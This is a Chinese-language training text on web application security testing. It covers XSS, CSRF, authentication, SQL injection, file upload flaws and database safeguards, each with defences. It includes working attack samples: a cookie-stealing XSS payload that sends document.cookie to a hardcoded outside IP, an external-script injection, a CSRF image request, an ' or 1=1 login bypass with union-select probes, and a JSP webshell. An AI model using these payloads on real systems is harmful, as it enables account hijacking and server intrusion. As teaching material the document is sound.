02. 常见安全问题
02. 常见安全问题
- 目标
- 熟悉常见安全问题的实现原理及危害及防御
1. 客户端脚本安全测试
- 掌握XSS攻击的实现原理、危害及防御
- 掌握CSRF攻击的实现原理、危害及防御
1. 跨站脚本攻击(XSS)
1. XSS攻击介绍
- XSS:跨站脚本(cross site script)为了避免与前端css混淆,改名为xss
- 跨站脚本攻击:是指攻击者往Web页面里插入恶意Script代码,当用户浏览该网页时,嵌入的代码会被执行,从而达到恶意攻击用户的目的
2. XSS攻击的危害
- 盗取各类用户账号
- 盗取、注入修改、删除客户端敏感数据
- 网站木马
- 肉鸡(控制受害机攻击别的机器)
3. XSS攻击的原理
4. XSS攻击的类型
- 存储型
- 又称为持久型跨站脚本
- 跨站代码长期存储在服务器中(数据库)
- 用户每次访问都会被执行
- 比如在个人信息、发表文章、发表评论等地方
- 反射性
- 又称为非持久型跨站脚本
- 只是简单地把用户输入的数据“反射”给浏览器
- 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码
- 图片、链接等
5. XSS攻击常用的HTML标签
常用HTML标签
超链接标签
<img src=""></img>
图片标签
<img src=""></img>
内联框架
<iframe src=""></iframe>
js脚本标签
<script src=""></scripts>
6. XSS攻击步骤
- 页面查找XSS漏洞
- 注入恶意程序
- 客户端访问注入恶意程序的页面
- 获取客户端敏感信息或攻击
7. 案例XSS攻击案例-窃取用户Cookie
1. 页面查找XSS漏洞脚本
<script>alert(123)</script>
- 说明:一般作为漏洞测试使用,如果页面支持 弹出框执行,意味着系统没有过滤<>和/字符,说明存在XSS漏洞
2. XSS攻击案例-窃取用户Cookie
- 页面查找XSS漏洞
注入恶意程序
在发微博的输入框中输入以下内容:
<script>window.open('http://121.43.169.97:9999/xss?cookie='+document.cookie)</script>
说明
- 该接口是有攻击者开发的,用于搜集用户的cookie信息
document.cookie
:JS脚本,获取当前网站的 全部cookie数据
客户端访问注入恶意程序的页面
- 说明:模拟正常用户访问注入恶意程序的页面, 在本案例中即微博查看页面注入脚本会自动执行,发送请求并携带当前网站的cookie数据
窃取客户端敏感信息
- 说明:
- 攻击者后台服务器通过接口即可接收到cookie数据
- 再利用cookie模拟用户登录实现非法操作
- 说明:
8. XSS攻击案例-注入外部JS文件
编写注入的JS脚本文件
var body = document.getElementsByTagName("body")[0]; var div = document.createElement("div"); div.innerHTML = "<h1 style='text-align: center;'>该网站已被控制!</h1>"; body.insertBefore(div, body.firstChild);
- 说明:创建xss.js文件,编写脚本实现在页面插 入一句话“该网站已被控制!”,并放置到攻 击者服务器中。
注入恶意程序
在发微博的输入框中 输入以下内容:
<script src="http://121.43.169.97:9999/xss.js"></script>
说明:通过script标签引入外部JS文件
客户端访问注入恶意程序的页面
9. XSS攻击防御
- HttpOnly
- 给关键的Cookie都加上HttpOnly属性
- 浏览器将禁止页面的JavaScript访问带有HttpOnly属 性的Cookie
- 输入检查
- 检查用户输入的数据中是否包含了一些特殊字符,如<、>、'、"
- 如果发现存在特殊字符,则将这些字符过滤或者编码
- 输出检查
- 在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS攻击
10. XSS漏洞扫描
- 检测XSS漏洞的方式
- 手工检测
- 优点校验结果精准,但是对于一个大型Web应用,效率比较低
- 重点是考虑哪里有输入、输入的数据在什 么地方展示
- 软件自动检测
- 优点是方便,却存在误报,或者有些隐蔽 的XSS无法检测出
- 手工检测
2. 跨站点请求伪造(CSRF)
1. CSRF介绍
- CSRF(Cross-site request forgery)是指跨站请求伪造
- 理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求或进行某些非常操作
2. CSRF攻击原理
3. CSRF攻击案例
需求:跨站请求删除微博
- 演示步骤:
- 黑客先发布一条微博,进行删除操作
- 黑客通过抓包找到删除微博的接口,确定传递的参数(一般都是id)
- 黑客找到其他用户发布的微博信息,并替换请求参数
- 黑客在自己的网站上伪造一个删除别人微博的请求:
<img th:src="http://121.43.169.97:1688/delBlog?id=101" />
- 黑客在发微博页面输入链接:
<a href="http://121.43.169.97:9999/csrf" target="_blank">点击有惊喜</a>
,并诱惑用户进行点击 - 用户点击诱惑链接之后跳转到黑客网站,在黑客网站中触发删除微博的请求,进而删除用户资源
4. CSRF攻击防御
- 验证码
- 验证码被认为是对抗CSRF攻击最简洁有效的防御方法
- 但是出于用户体验考虑,不能给所有的操作都加上验证码
- 验证HTTP Referer
- HTTP Referer可被用于检查请求是否来自合法的“源”,防盗链
- 添加token并验证
- 在请求地址中添加token并验证
3. XSS和CSRF的区别
- XSS
- 不需要登录网站
- 是向网站A注入JS代码,然后执行JS代码,篡改网站A的内容
- CSRF
- 需要用户先登录网站A
- 是利用网站A本身的漏洞,去请求网站A 的接口,涉及到两个站点
2. 网络安全性测试
1. 数据加密
- HTTPS协议加密
- 协议层面
- 程序数据加密
- 程序层面
1. HTTPS协议加密
HTTPS:在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性
- HTTPS特点
- 数据保密性:保证数据内容在传输的过程中不会被第三方查看
- 数据完整性:防止传输的内容被中间人冒充或者篡改
- 身份校验安全性:通过证书认证客户端访问的是自己的服务器,保证数据到达用户期望的目的地
结论: 要求网站采用https协议传输数据!
2. 程序数据加密
在程序中对接口数据进行加密,保证敏感数据不是按照明文进行传输
2. 数据签名
- 数据签名
- 在发送请求的时候,增加一个无法伪造的字符串,用来保证数据在传输的过程中不被篡改
注意:数据签名的实现方式有很多种,但是基本思想和最终目的都是相同的!
数据签名示例-充话费
- 请求数据:
- 对请求数据进行签名: e10adc3949ba59abbe56e057f20f883e
- 把生成的签名一同发送到服务器: {"mobile":"13812345678", "money":10, "sign":"e10adc3949ba59abbe56e057f20f883e"}
- 服务器提取除签名之外的其他请求数据:
- 服务器采用同样的方式对数据进行签名: e10adc3949ba59abbe56e057f20f883e
- 对比两个签名是否一致 (5==2)
数据签名的好处
- 保密性
- 防篡改
- 防伪造
- 防抵赖
- 身份认证
3. 时间戳
- DoS攻击:
- 是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源目的
- 让目标计算机或网络无法提供正常的服务或资源访问,使目标系统停止响应甚至崩溃
时间戳机制主要用来应对非法的DOS攻击
{ "username": "admin", "password": "123", "timestamp": 1590334946000, "sign": "098f6bcd4621d373cade4e832627b4f6" }
说明
- 服务端接收到请求后先拿当前的时间和请求中的时间做比较
- 一定时间之内的才会进行后续的业务处理
- 超过指定时间以外的直接返回错误码
4. 流量限制
3. 用户认证安全性测试
1. 认证与会话管理
1. 介绍
认证
- Authentication
- 认证实际上就是一个验证凭证的过程
- 目的是为了认出用户是谁
授权
- Authorization
- 授权是授予用户可以操作的权限
- 目的是为了决定用户能够做什么
2. 密码的那些事
最常见的认证方式就是用户名与密码
- 密码是最常见的认证手段,持有正确密码的人被认为是可信的
- 密码的优点是使用成本低,认证过程实现起来很简单
- 缺点是密码认证是一种比较弱的安全方案,可能会被猜解
- “密码强度”是设计密码认证方案时第一个需要考虑的问题
提示:在密码强度的选择上,每个网站都有自己的策略,目前并没有一个标准的密码策略!
3. 密码设置推荐策略
密码长度方面
- 普通应用要求长度为6位以上
- 重要应用要求长度为8位以上,并考虑双因素认证
密码复杂度方面
- 密码区分大小写字母
- 密码为大写字母、小写字母、数字、特殊符号中两种以上的组合
- 不要有连续性的字符,比如:1234abcd
- 尽量避免出现重复的字符,比如:1111
其他
- 不要使用用户公开的数据或者个人隐私相关的数据作为密码
- 比如:QQ号、身份证号、生日、手机号等
4. 常见认证方式
1. Session认证
- SessionID一旦在生命周期内被窃取,就等于账户失窃
- Session劫持就是一种通过窃取用户SessionID后,使用该SessionID登录进目标账户的攻击方法
Session Fixation攻击
1. 攻击者先获取到一个未经认证的SessionID
2. 然后将这个SessionID交给用户去认证
3. 完成认证后,服务器并未更新此SessionID的值
4. 攻击者可以直接凭借此SessionID登录用户的账户进行攻击
解决方案: 登录成功之后应该重写SessionID
Session保持攻击
1. Session保持攻击
- Session是有生命周期的,当用户长时间未活动后,或者用户点击退出后,服务器将销毁Session
- 如果攻击者能一直持有一个有效的Session(比如间隔性地刷新页面),而服务器对于活动的Session也一直不销毁的话,攻击者就可以实现长期攻击
2. 如何对抗
- 一定时间后强制销毁Session,比如从用户登录的时间算起,2天后强制Session过期
- 当用户客户端发生变化时,要求用户重新登录
- 如果每个用户只允许拥有一个Session,当用户再次登录时,“踢掉”之前的Session
- 用户退出登录后是否删除其登录的相关信息
2. Token认证
3. 多因素认证
说明
- 对于很多重要的系统来说,如果只有密码作为唯一的认证手段,从安全上看略显不足
- 因此为了增强安全性,大多数网上银行和网上支付平台都会采用双因素或多因素认证
2. 暴力破解
暴力破解:是指黑客利用密码字典,使用穷举法猜解出用户密码
说明
- 暴力破解是现在最为广泛使用的攻击手法之一
- 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作
暴力破解防范
- 理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的
- 一个系统存在暴力破解漏洞,一般是指该系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高
如何提高暴力破解难度?
- 要求用户设置复杂的密码
- 认证时加入验证码校验
- 对尝试登录的行为进行判断和限制(如:连续输入3次错误密码,进行账号锁定或IP地址锁定等)
3. 权限控制
- 某个主体对某个客体实施某种操作,而系统对这种操作的限制就是权限控制(权限控制也称为访问控制)
- 权限管理方式
- 垂直权限管理
- 水平权限管理
1. 垂直权限管理
垂直权限管理
访问控制实际上是建立用户与权限之间的对应关系,现在应用广泛的一种方法,就是“基于角色的访问控制”
在系统中定义出不同的角色,不同的角色拥有不同的权限,一个角色实际上是一个权限 的集合
系统的所有用户都会被分配到不用的角色中,一个用户可能拥有多个角色,角色之间有权限高低之分
在系统验证权限时,只需要验证用户所属的角色,然后就可以根据该角色所拥有的权限 进行授权了
这种基于角色的权限管理,可以称之为“垂直权限管理”
权限配置注意事项
使用“最小权限原则”
使用“默认拒绝”的策略
只对有需要的主体单独配置“允许”的策略
如果一个本属于低权限角色的用户通过一些方法能够获 得高权限角色的能力,则发生了“垂直越权访问” - 不同角色的权限有高低之分 - 高权限角色一般可以访问低权限角色的资源 - 低权限角色不能访问高权限角色的资源
2. 水平权限管理
- 介绍
- 相对于垂直权限管理来说,水平权限问题出现在同一个角色上
- 系统只验证了能访问数据的角色,然而没有对角色内的用户做细分,也没有对数据的子集做细分
- 缺乏一个用户到数据之间的对应关系
- 注意事项
- 水平权限管理问题,至今仍然是一个难题
- 它难以发现,难以在统一框架下解决
- 很难通过扫描等自动化测试方法将这些问题全部找出
3. 越权漏洞案例演示
说明:对于普通用户来说,只有自己发布 的微博才有删除权限。如果后台服务在删 除的接口中没有进行权限的校验,就会出 现越权漏洞...
操作步骤:
- 自己先发布一条微博,进行删除操作
- 通过抓包找到删除微博的接口,确定传递的参数(一般都是id)
- 找到其他用户发布的微博信息,并替换请求参数
- 发送请求,进行越权操作
4. 应用程序安全性测试
1. SQL注入
1. 介绍
SQL注入:SQL注入攻击是指通过构建特殊的请求参数传入应用程序,通过执行SQL语句 进而执行攻击者所要的操作
- 主要原因是程序没有细致地过滤用户输入的数据,导致非法数据侵入系统
- SQL注入在安全问题中排行榜首!!!
2. SQL注入原理
SQL注入原理
- 攻击者在页面提交恶意字符
- 服务器未对提交参数进行过滤或过滤不足
- 攻击者利用拼接SQL语句方式获取数据库敏感信息
SQL注入危害
- 获取系统数据库数据(数据泄露)
- 用户数据被非法买卖
- 危害应用安全
3. SQL注入常用SQL语句
- select version(),user(),database();
- select * from t_user limit 1;
- select * from t_user order by 1;
- select * from t_user where id=-1 union select 1,2,3,4,5,6;
- select * from t_user; -- 注释
- select * from t_user; # 注释
- show databases;
- show tables;
- show columns from tableName;
4. SQL注入登录案例
案例:在不知道用户名和密码的情况下,如何通过SQL注入成功登录系统?
注入实现流程
- 打开登录页面
- 将带有SQL注入的参数发送给服务器
- 服务器利用用户输入的参数构建SQL语句
- 服务器将SQL发送给数据库
- 数据库执行了被注入的SQL,并返回执行结果
- 服务器将数据返回给用户
注入实现
输入用户名:
' or 1=1 --
输入任意密码
点击登录按钮
"select * from t_user where username='"+ ' or 1=1 -- +"' and password='"+ password +"'"
5. 注入源码分析
@app.route("/login", methods=["POST"])
def login():
# 获取用户输入的参数
username = request.form.get("username")
password = request.form.get("password")
# 查询数据库
sql = "select * from t_user where username='"+ username +"' and password='"+ password +"'"
data = DBUtil.get_one(sql)
# 数据校验
if data is not None:
return "登录成功"
else:
return "用户名或密码错误"
6. 漏洞修复
@app.route("/login", methods=["POST"])
def login():
# 获取用户输入的参数
username = request.form.get("username")
password = request.form.get("password")
# 查询数据库
sql = "select * from t_user where username=%s and password=%s"
data = DBUtil.get_one(sql, (username, password)) // get_one内部:cursor.execute(sql, (username, password))
# 数据校验
if data is not None:
return "登录成功"
else:
return "用户名或密码错误"
7. SQL注入防范
永远不要相信用户的输入!!!永远不要相信用户的输入!!!永远不要相信用户的输入!!!永远不要相信用户的输入!!!
- 对用户的输入数据进行校验
- 不要动态拼装SQL,使用参数化语句
- 不要使用管理员权限的数据库连接,为每个应用使用单独的权限进行数据库 连接
- 不要把敏感数据直接保存到数据库中
- 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
2. 文件上传漏洞
文件上传漏洞是指攻击者上传了一个可执行的文件(木马,病毒,恶意脚本),并通过此脚本文件获得了执行服务器命令的能力
1. 文件上传漏洞原理
- 大部分的网站都有上传功能,而程序员在开发文件上传功能时,并未考虑文件后缀名的合法性校验
- 这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php文件)到服务器上
- 当访问这些恶意脚本中包含的恶意代码时,进行动态解析最终达到执行恶意代 码的效果,从而影响服务器安全
2. 文件上传漏洞案例
查找文件上传功能:上传头像
准备攻击脚本:webshell.jsp
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java"%>
<pre>
<%
File root = new File("/");
out.println("获取根目录下所有文件:");
for (File f : root.listFiles()) {
out.println(f.getName());
}
%>
</pre>
- 上传脚本文件,并分析文件访 问路径
- 访问脚本文件
3. 文件上传漏洞防范
文件上传的目录设置为不可执行
判断文件类型
使用随机数改写文件名和文件路径
单独设置文件服务器的域名
5. 数据库安全性测试
1. 数据备份和恢复
- 备份:数据库系统必须采取必要的备份措施
- 提示:可以根据实际情 况制定备份策略,一般至少是每天备份一次。
- 恢复:保证发生故障时,可以快速恢复数据库
- 提示:从最近一次备份文件中恢复
总结:确认是否对数据库配置了备份和恢复机制!
2. 敏感数据加密
- 数据安全隐患无处不在,因此对数据的加密,是保护数据库安全的有效措施。
- 数据加密是应用最广、成本最低廉而相对最可靠的方法。
- 数据加密是保护数据在存储和传递过程中不被窃取或修改的有效手段。
总结:确认是否对敏感数据进行了加密操作!
3. 审计追踪机制
审计追踪机制:是指系统设置相应的日志记录,特别是对数据修改和删除的记录,以便日后查证,确保系统的安全
总结:确认重要的数据操作是否有日志记录!
4. 认证和权限控制
- 用户在访问数据库时,必须经过身份认证
- 对非超管用户,必须设定有限的权限和专用的密码
- 控制用户的权限,在程序中不能使用root账号连接数据库
总结:确认是否对操作数据库的用户进行了认证和权限控制!